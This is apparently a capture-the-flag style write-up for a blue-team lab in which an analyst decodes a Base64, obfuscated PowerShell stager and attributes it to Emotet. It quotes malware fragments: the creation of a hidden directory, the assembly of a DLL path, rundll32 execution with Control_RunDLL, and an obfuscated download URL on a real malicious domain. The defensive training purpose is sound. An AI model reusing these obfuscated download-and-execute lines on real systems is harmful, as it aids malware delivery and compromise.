Malicious Powershell Analysis

https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef

Scenario

Recently the networks of a large company named GothamLegend were compromised after an employee opened a phishing email containing malware. The damage caused was critical and resulted in business-wide disruption. GothamLegend had to reach out to a third-party incident response team to assist with the investigation. You are a member of the IR team - all you have is an encoded Powershell script. Can you decode it and identify what malware is responsible for this attack?

Challenge Questions

What security protocol is being used for the communication with a malicious domain?

The initial stager utilizes the -ENCOD parameter bypass, which PowerShell natively resolves to -EncodedCommand. This parameter accepts a Base64-encoded string to conceal the underlying script logic.

Decoding the Base64 payload via CyberChef revealed a heavily obfuscated script. Analysis of the network configuration layer within the deobfuscated code confirmed that the session explicitly enforces TLS 1.2 for its outbound callbacks.

security protocol

Figure 1: The explicit TLS 1.2 configuration found inside the deobfuscated payload.

encoded script

Figure 2: The raw, Base64-encoded PowerShell command.

base64 decoded script

Figure 3: Initial Base64 decoding stage within CyberChef

What directory does the obfuscated PowerShell create?

The script contains the following obfuscated directory creation logic:

"cREAtedIRECTORy"($HOME + (('{'+'0}Db_bh'+'30'+'{0}'+'Yf'+'5be5g{0}') -F [chAR]92));

This line invokes the Win32 CreateDirectory method using a dynamic string array formatting technique.

  • The -F operator binds the formatting token {0} to [char]92, which evaluates to the ASCII value for a backslash (\).
  • Concatenating the text blocks and substituting the backslashes simplifies the command execution logic to:

CreateDirectory("$HOME\Db_bh30\Yf5be5g\")

The resulting path resolves to a subdirectory within the user's home profile:

$HOME\Db_bh30\Yf5be5g\

CreateDirectory Documentation

What file is being downloaded (full name)?

Further down the execution logic, the script defines the target drop location and filename using string obfuscation and variable substitution:

$Swrp6tc = (('A6'+'9')+'S');

$Imd1yck=$HOME+((('UO'+'H'+'Db_')+'b'+('h3'+'0UO')+('HY'+'f')+('5be5'+'g'+'UOH'))."RePlACe"(('U'+'OH'),[StrInG][chAr]92))+$Swrp6tc+(('.'+'dl')+'l');

Resolving this programmatically involves two steps:

  • Variable Assembly: $Swrp6tc directly concatenates to the string A69S.
  • String Replacement: The script invokes the .Replace() method to substitute the junk string token UOH with a backslash (\), evaluating [string][char]92.

When fully concatenated and deobfuscated, the variable assignment resolves to:

$Imd1yck = "$HOME\Db_bh30\Yf5be5g\A69S.dll"

The full name of the downloaded file is A69S.dll.

What is used to execute the downloaded file?

After initiating the file download, the script performs a conditional file-size validation check:

If ((&('Ge'+'t-It'+'em') $Imd1yck)."lenGTH" -ge 35698) {&('r'+'undl'+'l32') $Imd1yck,(('Co'+'nt')+'r'+('ol'+'_RunD'+'L')+'L')."TOStRiNG"();

Deobfuscating the cmdlets and string methods yields the clean logical equivalent:

$DLLPath=$HOME\Db_bh30\Yf5be5g\A69S.dll;

if ((Get-Item $DLLPath).Length -ge 35698) {
    rundll32 $DLLPath,Control_RunDLL
}

rundll32 Documentation

What is the domain name of the URI ending in ‘/6F2gd/’

There are a couple of domains in the script but finding the /6F2gd/ domain can be done by peeking at the Replace() method.

('a'+'nw[')+('3:'+'/')+('/'+'wm.mcdeve'+'lop.net'+'/'+'c'+'on'+'t'+'e')+('nt'+'/')+'6'+('F2'+'gd/'))."REplACe"(((']a'+'n')+('w'+'[3')),([array]('sd','sw'),(('h'+'tt')+'p'),'3d')[1])

Reassembling the string segments show an initial structure of

anw[3://wm.mcdevelop.net/content/6F2gd/.

The trailing .Replace() method isolates the string ]anw[3 and replaces it with index [1] of the target array, which evaluates to http.

This deobfuscation yields http://wm.mcdevelop.net/content/6F2gd/, isolating the malicious domain name as wm.mcdevelop.net.

Based on the analysis of the obfuscated code, what is the name of the malware?

Cross-referencing the identified malicious domain wm.mcdevelop.net against VirusTotal relations data links the indicator directly to the Emotet malware strain.

virustotal relations

Figure 4: VirusTotal relations connecting the staging infrastructure to known Emotet payloads.

VirusTotal Relations